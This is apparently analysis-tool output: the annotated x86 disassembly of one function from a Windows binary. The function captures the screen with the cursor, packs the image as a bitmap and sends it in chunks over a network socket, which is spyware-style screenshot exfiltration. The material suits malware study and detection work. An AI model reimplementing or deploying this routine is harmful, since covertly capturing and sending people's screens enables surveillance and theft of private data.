Function at 0x40cde0
Capabilities:
Capture screenshot
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5070
call fcn.005647d0
mov eax, dword [0x5f4e24]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov ebx, eax
push ebx
mov dword [ebp - 0x4848], ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x76
push ebx
mov dword [ebp - 0x484c], eax
call esi
push 0x75
push ebx
mov edi, eax
call esi
mov esi, eax
push esi
push edi
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebx, eax
push ebx
push dword [ebp - 0x484c]
mov dword [ebp - 0x4854], ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x4848]
push esi
mov esi, dword [ebp - 0x484c]
push edi
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [ebp - 0x4860]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
push dword [ebp - 0x485c]
push dword [ebp - 0x4860]
push esi
call dword [sym.imp.USER32.dll_DrawIcon]
lea eax, [ebp - 0x4850]
push eax
push ecx
mov ecx, ebx
call fcn.0040d820
mov esi, dword [ebp - 0x4850]
mov ebx, eax
add esi, 0x36
lea eax, [esi + 0xe]
push eax
mov dword [ebp - 0x4850], eax
call fcn.00430d4e
add esp, 0xc
mov edi, eax
lea eax, [esi + 0xe]
push eax
push 0
push edi
call fcn.00565b20
add esp, 0xc
mov eax, 0x4d42
mov word [edi], ax
xor eax, eax
mov dword [edi + 2], esi
mov dword [edi + 6], eax
push esi
mov dword [edi + 0xa], 0x36
push ebx
lea eax, [edi + 0xe]
push eax
call fcn.005655a0
add esp, 0xc
push dword [ebp - 0x4854]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x4848]
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push dword [ebp - 0x484c]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x4850]
lea eax, [ebp - 0x4848]
push eax
mov ecx, edi
mov dword [ebp - 0x4848], 0
call fcn.0040b6e0
mov esi, dword [ebp - 0x4848]
add esp, 4
mov edi, eax
push esi
call fcn.00430d4e
add esp, 4
mov dword [ebp - 0x4848], eax
lea ecx, [ebp - 0x4858]
mov dword [ebp - 0x4858], esi
push esi
push edi
push ecx
push eax
call fcn.00413570
push edi
call fcn.00430d49
mov esi, dword [ebp - 0x4858]
add esp, 4
mov dword [ebp - 0x4850], esi
push 0xffffffffffffffff
push dword [0x5fe790]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x738
lea eax, [ebp - 0x4fa0]
push 0
push eax
call fcn.00565b20
add esp, 0xc
mov dword [ebp - 0x506c], 0xc
lea eax, [ebp - 0x410c]
push 0xc8
push 0
push eax
call fcn.00565b20
add esp, 0xc
lea ecx, [ebp - 0xb]
push 0
push esi
call fcn.0040ede0
add esp, 4
lea ecx, [ebp - 0xb]
push ecx
push eax
lea ecx, [ebp - 0x403c]
call fcn.0040c590
mov edi, dword [ebp - 0x4028]
lea ecx, [ebp - 0x403c]
mov esi, dword [ebp - 0x403c]
lea edx, [ebp - 0x410c]
cmp edi, 0x10
cmovae ecx, esi
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40d018
cmp edi, 0x10
jb 0x40d052
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40d048
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d297
push ecx
push esi
call fcn.005638e9
add esp, 8
lea edi, [ebp - 0x410c]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x40d060
mov ax, word [0x5d4828]
lea esi, [ebp - 0xb]
mov word [edi], ax
mov ebx, 0x2c6
nop dword [eax + eax]
mov eax, 0xcccccccd
dec esi
mul ebx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [esi], bl
mov ebx, edx
test ebx, ebx
jne 0x40d080
push ecx
lea eax, [ebp - 0xb]
push eax
push esi
lea ecx, [ebp - 0x403c]
call fcn.0040c590
cmp dword [ebp - 0x4028], 0x10
lea edx, [ebp - 0x403c]
mov ebx, dword [ebp - 0x403c]
cmovae edx, ebx
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40d0d0
lea edi, [ebp - 0x410c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40d0e0
mov eax, dword [ebp - 0x4028]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x10
jb 0x40d12c
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x40d122
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d297
push ecx
push ebx
call fcn.005638e9
add esp, 8
push 0
push 0x804
mov ecx, 0x32
lea esi, [ebp - 0x410c]
lea edi, [ebp - 0x5068]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4844]
mov ecx, 0x201
push eax
push dword [0x5fe554]
lea esi, [ebp - 0x506c]
lea edi, [ebp - 0x4844]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [ebp - 0x4850]
mov ebx, edi
shr ebx, 0xe
test edi, 0x3fff
je 0x40d180
inc ebx
push 0x4000
lea eax, [ebp - 0x4024]
push 0
push eax
call fcn.00565b20
add esp, 0xc
xor esi, esi
test ebx, ebx
je 0x40d26a
mov eax, dword [ebp - 0x4848]
mov dword [ebp - 0x484c], eax
nop dword [eax]
push 0x4000
lea eax, [ebp - 0x4024]
push 0
push eax
call fcn.00565b20
lea eax, [esi + 1]
add esp, 0xc
mov dword [ebp - 0x4854], eax
cmp eax, ebx
jne 0x40d1e4
mov eax, ebx
mov esi, edi
shl eax, 0xe
sub esi, eax
add esi, 0x4000
jmp 0x40d1e9
mov esi, 0x4000
push esi
push dword [ebp - 0x484c]
lea eax, [ebp - 0x4024]
xor edi, edi
push eax
call fcn.005655a0
add esp, 0xc
test esi, esi
jle 0x40d22a
push 0
push esi
lea eax, [ebp - 0x4024]
add eax, edi
push eax
push dword [0x5fe554]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40d249
sub esi, eax
add edi, eax
test esi, esi
jg 0x40d205
add dword [ebp - 0x484c], 0x4000
mov esi, dword [ebp - 0x4854]
cmp esi, ebx
jge 0x40d26a
mov edi, dword [ebp - 0x4850]
jmp 0x40d1b0
push dword [ebp - 0x4848]
call fcn.00430d49
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.005638db
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x4848]
call fcn.00430d49
add esp, 4
push dword [0x5fe790]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005638db
mov esp, ebp
pop ebp
ret
call fcn.00568e05
int3